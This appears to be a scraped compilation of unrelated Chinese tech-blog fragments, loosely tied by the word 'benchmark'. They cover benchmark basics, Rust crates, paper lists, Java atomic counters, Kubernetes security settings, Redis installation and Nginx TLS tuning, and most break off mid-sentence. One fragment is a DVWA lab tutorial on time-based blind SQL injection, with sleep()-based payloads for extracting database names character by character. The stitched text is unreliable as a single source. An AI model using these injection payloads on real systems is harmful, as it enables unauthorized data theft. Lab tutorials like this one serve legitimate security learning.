Benchmark

一、Benchmark简介 Benchmark是一个评价方式，在整个计算机领域有着长期的应用。正如维基百科上的解释“As computer architecture advanced, it became more difficult to compare the performance of various computer systems simply by looking at their specifications.Therefore, tests were developed that allowed comparison of different architectures.”Benchmark在计算机领域应用最成功的就是性能测试，主要测试负载的执行时间、传输速度、吞吐量、资源占用率等。 性能调优的两大利器是Benchmark和profile工具。Benchmark用压力测试挖掘整个系统的性能状况，而profile工具最大限度地呈现系统的运行状态和性能指标，方便用户诊断性能问题和进行调优。 二、Benchmark的组成 Benchmark的核心由3部分组成：数据集、 工作负载、度量指标。 1、数据集 数据类型分为结构化数据、半结构化数据和非结构化数据。由于大数据环境下的数据类型复杂，负载多样，所以大数据Benchmark需要生成3种类型的数据和对应负载。 1

mlua v0.4 发布并支持Lua 5.4 mlua v0.4 released with Lua 5.4 support https://github.com/khvzak/mlua mlua v0.4 发布并支持Lua 5.4。 v0.4 changelog MiniCouchDB: implementing a subset of CouchDB in Rust MiniCouchDB: implementing a subset of CouchDB in Rust https://www.garrensmith.com/blogs/mini-couch-hack-week https://github.com/garrensmith/couch_hack_week 受 mini-redis 启发，搞了一个 mini-CouchDB in Rust . Benchrs: Apache Benchmark(ab) clone in rust Benchrs: Apache Benchmark(ab) clone in rust https://crates.io/crates/benchrs Apache Benchmark style http bench tool written in async rust. Benchrs 0.1.7 Arkaitz Jimenez

深度学习与遥感论文推荐 期刊论文推荐 1. Yuan, Q., Shen, H., Li, T., Li, Z., Li, S., Jiang, Y., … Zhang, L. ( 2020 ). Deep learning in environmental remote sensing: Achievements and challenges. Remote Sensing of Environment , 241, 111716. 2. Cunha, R. L. F. and Silva, B.: ESTIMATING CROP YIELDS WITH REMOTE SENSING AND DEEP LEARNING, ( 2020 ), ISPRS Ann. Photogramm. Remote Sens. Spatial Inf. Sci ., IV-3/W2-2020, 59–64. 3. Mohan, A., Singh, A. K., Kumar, B., & Dwivedi, R. ( 2020 ). Review on remote sensing methods for landslide detection using machine and deep learning. Transactions on Emerging Telecommunications

如果让你实现一个计数器，有点经验的同学可以很快的想到使用AtomicInteger或者AtomicLong进行简单的封装。 因为计数器操作涉及到内存的可见性和线程之间的竞争，而Atomic***的实现完美的屏蔽了这些技术细节，我们只需要执行相应的方法，就能实现对应的业务需求。 Atomic**虽然好用，不过这些的操作在并发量很大的情况下，性能问题也会被相应的放大。我们可以先看下其中 getAndIncrement 的实现代码 public final long getAndIncrement() { return unsafe.getAndAddLong( this , valueOffset, 1L ); } // unsafe类中的实现 public final long getAndAddLong(Object var1, long var2, long var4) { long var6; do { var6 = this .getLongVolatile(var1, var2); } while (! this .compareAndSwapLong(var1, var2, var6, var6 + var4)); return var6; } 很显然，在 getAndAddLong 实现中，为了实现正确的累加操作，如果并发量很大的话，cpu会花费大量的时间在试错上面

Kubernetes CIS Benchmark 见kube-bench 1.安全策略 1.1 使用宿主节点的命名空间 命名空间分 网络命名空间 PID命名空间 IPC命名空间 Pod使用主机的网络命名空间 绑定宿主节点端口 使用宿主节点的PID和IPC命名空间 1.2 节点安全上下文配置 指定容器中运行进程的用户ID 组织容器以Root用户运行 使用特权模式运行容器，对宿主节点内核具有完全的访问权限 通过添加或禁用内核功能，配置细粒度内核访问权限 设置SELinux选项，加强对容器的限制 阻止对容器根文件系统的写入 容器使用不同用户运行时共享存储卷 1.3 集群级别PodSecurityPolicy 是否允许Pod使用宿主节点的PID、IPC、网络命名空间 Pod允许绑定的宿主节点端口 容器运行时允许使用的用户ID runAsUser\fsGroup\supplementalGroup 是否允许拥有特权模式容器的pod 允许添加那些内核功能，默认添加那些内核功能，总是禁用那些内核功能 允许容器使用那些SELinux选项 容器是否允许使用可写的根文件系统 允许容器在哪些文件系统组下运行 允许Pod使用哪些类型的存储卷 对不同用户与组分配不同的PodSecurityPolicy 1.4 隔离Pod的网络 对一个命名空间启用网络隔离 同一命名空间内限制部分Pod访问一个服务端Pod

通知：这篇文章有6篇论文速递信息，涉及视觉跟踪、Zero-shot Learning、GAN和人员计数等方向（含2篇CVPR论文） [1]《View Extrapolation of Human Body from a Single Image》 CVPR 2018 Abstract：我们研究如何从单个图像合成人体的新视图。尽管最近基于深度学习的方法对于刚性物体很适用，但它们通常在大型关节的物体（如人体）上失败。现有方法的核心步骤是将可观察的视图与CNN的新视图相匹配;然而，人体丰富的发音模式使得CNN很难记忆和插入数据。为了解决这个问题，我们提出了一种新的基于深度学习的pipeline，明确地估计和利用underlying人体的几何形状。我们的pipeline是一个形状估计网络和一个图像生成网络的组合，并且在接口处应用透视变换来生成像素值传输的正向流。我们的设计能够将数据变化的空间分解出来，并使每一步的学习变得更容易。经验上，我们表明姿态变化对象的性能可以大大提高。我们的方法也可应用于3D传感器捕获的实际数据，并且我们的方法生成的流可用于生成高分辨率的高质量结果。 arXiv： https://arxiv.org/abs/1804.04213 视觉跟踪 [2]《VITAL: Visual Tracking via Adversarial Learning》 CVPR 2018

CV_0404 1.【数据集】The Unmanned Aerial Vehicle Benchmark:Object Detection and Tracking 本文建立了一个用于无人机识别和跟踪任务的复杂场景数据集，包括80000帧从10h视频中抽取出的标记图像和14中环境特征，用于 目标检测和追踪 任务的训练。 >>UAVDT数据集 现有的无人机数据集： UAVDT数据集： 2.【目标检测】Hierarchical Novelty Detection for Visual Object Recognition 本文利用层级分类的框架实现了对于新物体的分类和检测任务。将新物体归入最邻近超类并进行进一步分类，提出了自顶向下和平铺的方法并结合生成新的分类器。 >>论文 架构示意图： 此方法的数值结果： Ref:论文来自arxiv 来源： oschina 链接： https://my.oschina.net/u/4281503/blog/4017670

官网下载链接： https://redis.io/download redis安装流程，记录自己的实践，分享给需要的人。 1、选择Stable(5.0)下的Download 5.0.0 链接进行下载 （stable是稳定版本，默认下载的是linux版本） 2、下载完成之后，打开WinSCP，把我们下载好的Redis压缩包，上传到Linux的 /mnt/ 文件目录下 3、使用putty/xshell 连接到我们的Linux服务器，进入到/mnt/ 文件目录中，解压 redis-5.0.0.tar.gz，并把redis-5.0.0移动到/usr/local/ 目录下,命令如下 [root@localhost ~]# cd /mnt/ //进入mnt文件目录 [root@localhost mnt]# tar xzf redis-5.0.0.tar.gz //解压redis [root@localhost mnt]# ls //查看mnt目录 redis-5.0.0 redis-5.0.0.tar .gz [root@localhost mnt]# mv redis-5.0.0 /usr/local/ //把redis-5.0.0移动到/usr/local/ 目录下 4、安装gcc环境 由于redis是由C语言编写的，它的运行需要C环境，因此我们需要先安装gcc。安装命令如下：

盲注 是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。 基于时间的盲注： 时间的概念：使用特定函数让数据库去执行，在页面等待一定时间，来查看的的当前页面中注入 函数 sleep （） Select * from dvwa.users where user_id=1 and if(length(user())=14,sleep(5),’bye’); 最终没有返回值，需要关注的是浏览器响应的时间 函数 benchmark （参数一，参数二），一边师执行多少次，二是某项操作。 1、找注入点 通过输入以下两行,根据返回的延迟判断存在字符型注入 1 and sleep(5)# 1' and sleep(5)# 2、获取信息 当前数据库长度 Select * from dvwa.users where user_id=1 and if(length(database())=4,sleep(5),’bye’); 获取每个字符 Select * from dvwa.users where user_id=1 and if(ascii(substring(database(),1,1))=114,sleep(5),’bye’); 获取数据库中表 Select * from dvwa.users where user_id=1 and if(ascii(mid(

为什么要优化 Ngin HTTPS 延迟 Nginx 常作为最常见的服务器，常被用作负载均衡 (Load Balancer)、反向代理 (Reverse Proxy)，以及网关 (Gateway) 等等。一个配置得当的 Nginx 服务器单机应该可以期望承受住 50K 到 80K 左右每秒的请求，同时将 CPU 负载在可控范围内。 但在很多时候，负载并不是需要首要优化的重点。比如对于卡拉搜索来说，我们希望用户在每次击键的时候，可以体验即时搜索的感觉，也就是说，每个搜索请求必须在 100ms - 200ms 的时间内端对端地返回给用户，才能让用户搜索时没有“卡顿”和“加载”。因此，对于我们来说，优化请求延迟才是最重要的优化方向。 这篇文章中，我们先介绍 Nginx 中的 TLS 设置有哪些与请求延迟可能相关，如何调整才能最大化加速。然后我们用优化卡拉搜索Nginx 服务器的实例来分享如何调整 Nginx TLS/SSL 设置，为首次搜索的用户提速 30% 左右。我们会详细讨论每一步我们做了一些什么优化，优化的动机和效果。希望可以对其它遇到类似问题的同学提供帮助。 TLS 握手和延迟 很多时候开发者会认为：如果不是绝对在意性能，那么了解底层和更细节的优化没有必要。这句话在很多时候是恰当的，因为很多时候复杂的底层逻辑必须包起来，才能让更高层的应用开发复杂度可控。比如说